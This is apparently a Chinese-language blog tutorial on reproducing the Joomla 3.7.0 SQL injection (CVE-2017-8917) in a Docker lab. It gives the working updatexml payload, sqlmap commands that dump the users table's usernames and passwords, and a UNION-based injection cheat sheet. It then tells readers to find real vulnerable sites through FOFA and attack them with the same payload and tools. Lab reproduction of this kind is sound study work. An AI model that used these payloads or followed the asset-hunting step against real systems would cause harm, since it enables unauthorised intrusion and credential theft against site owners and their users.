文章目录
一 漏洞库环境
https://vulapps.evalbug.com
二 下载Joomla3.7.0 sql注入环境
https://vulapps.evalbug.com/j_joomla_2/
2.1 获取环境
拉取镜像到本地
$ docker pull medicean/vulapps:j_joomla_2
启动环境-不建议直接启动-对docker镜像源进行管理后再执行
$ docker run -d -p 8000:80 medicean/vulapps:j_joomla_2
2.2 查看docker镜像文件
$ sudo docker images
3 使用docker管理插件
docker-compose -v
/var/lib/docker # docker目录
三 寻找docker靶场依赖文件参考进行复制
1 参考tomcat8的docker配置文件
cd /home/kali/vulhub/tomcat/tomcat8
cat docker-compose.yml
2 文件:docker-compose.yml
version: '2'
services:
tomcat:
image: vulhub/tomcat:8.0
volumes:
- ./tomcat-users.xml:/usr/local/tomcat/conf/tomcat-users.xml
- ./context.xml:/usr/local/tomcat/webapps/manager/META-INF/context.xml
- ./context.xml:/usr/local/tomcat/webapps/host-manager/META-INF/context.xml
ports:
- "8080:8000"
# 前面8080端口是--》对外映射端口 2.后面端口8000是docker容器端口
3 修改配置docker镜像文件
参考上面的文件/home/kali/vulhub/tomcat/tomcat8/docker-compose.yml,在用戶家目录下[~/vulhub]新建奇【joomla】文件目录–》 docker-compose.yml这个文件进行管理
┌──(kali💋kali)-[~/vulhub/joomla/joomla_3.7.0_sqli_cve-2017-8917]
└─$ vim docker-compose.yml
version: '2' # 自己docker的版本
services:
joomla_3.7.0: # 自己定义的服务名
image: medicean/vulapps:j_joomla_2 # 镜像源
ports:
- "8088:80" # 前面8088端口是--》对外映射端口 2.后面端口80是容器端口
4 启动镜像-文件配置好后
sudo docker-compose up -d # -d是后台运行
5 关闭镜像
sudo docker-compose down # 关闭镜像自动删除容器
6 访问
查看kali的eth0网卡ip进行访问
7 已访问通
四 不使用docket容器管理启动停止服务
$ sudo docker run -d -p 8000:80 medicean/vulapps:j_joomla_2
sudo docker ps -a # 查看docker的启动服务
sudo docker stop f30 #f30是docker容器id的缩写
五 启动成功后去漏洞库寻找漏洞复现指令
1 peiqi漏洞库
https://peiqi.wgpsec.org/wiki/cms/ # 漏洞库地址寻找joomla
2 白阁漏洞库
peiqi漏洞沒有joomla漏洞–》再去白阁漏洞库
https://wiki.bylibrary.cn/ # 漏洞库地址
启动后访问http://your-ip:8080即可看到Joomla的安装界面 按照顺序安装即可 安装完成后,访问http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
3 vulhub漏洞环境库
https://vulhub.org/#/environments/ # vulhub漏洞地址
http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
六 访问地址-漏洞复现成功
七 深度利用漏洞
1 漏洞指令
http://192.168.225.166:8088/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
2 使用sqlmap进行扫描
#1. 如果沒有sqlmap情況-执行
┌──(kali💋kali)-[~/tools]
└─$ sudo python3 sqlmap.py -u "http://192.168.225.166:8088/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]"
#2.如果已經按裝sqlmap-执行
┌──(kali💋kali)-[~/tools]
└─$ sudo sqlmap -u "http://192.168.225.166:8088/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]"
# -p是参数
3 sqlmqp扫描出的sql注入的漏洞
4 sqlmqp获取数据库名字
--current-db 参数是获取当前数据库的名字
┌──(kali💋kali)-[~/tools]
└─$ sudo sqlmap -u "http://192.168.225.166:8088/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --current-db
5 sqlmqp显示当前数据库名称
6 获取表名字
-D "joomla" --tables #参数是获取数据库表名字
┌──(kali💋kali)-[~/tools]
└─$ sudo sqlmap -u "http://192.168.225.166:8088/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" -D "joomla" --tables
7 sqlmap获取某表列名
-D "joomla" -T "#_users" --columns #参数是获取数据库user表所有列
┌──(kali💋kali)-[~/tools]
└─$ sudo sqlmap -u "http://192.168.225.166:8088/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" -D "joomla" -T "#_users" --columns
7.1选择Y,进行爆破
7.3 输入线程10
8 获取用户名和密码
-D "joomla" -T "#_users" -C "username,password" --dump #参数是获取数据库user表用戶和密码列
┌──(kali💋kali)-[~/tools]
└─$ sudo sqlmap -u "http://192.168.225.166:8088/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" -D "joomla" -T "#_users" -C "username,password" --dump
八 漏洞复现后-搜索漏洞相关的资产
1 登录fofa
https://en.fofa.info/ # fofa网址
2 搜索语法:
3 根据查詢的资产地址
打开资产地址使用漏洞语句测试,查看是否有漏洞-有漏洞在用工具
九 sql注入使用汇总
9.1 sql注入字段参数
MySQL 5.0以上自带数据库information_schema,存储所有数据库名、表名、列名信息:
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息的表
schema_name: information_schema.schemata记录数据库名的列名值
table_ schema: information_schema.tables记录数据库名的列名值
table_name: information_schema.tables记录表名的列名值
column_name: information_schema.columns记录列名的列名值
9.2 整体使用思路
1.判断注入点
id=1 and 1=1
2.order判断列数(长度超了报错)
id=1 order by 2
3.查库名
id=1 union select version(),database()
select variable, set_time from sys_config where 1 !=1 union select version(), user();
4.查表名
id=1 union select 1,table name from
information_schema.tables where table_schema='pikachu'
5.查列名
id=1 union select 1,column_name from
information_schema.columns where table_name='users' and
table_schema='pikachu'
6.查值
union select username,password from users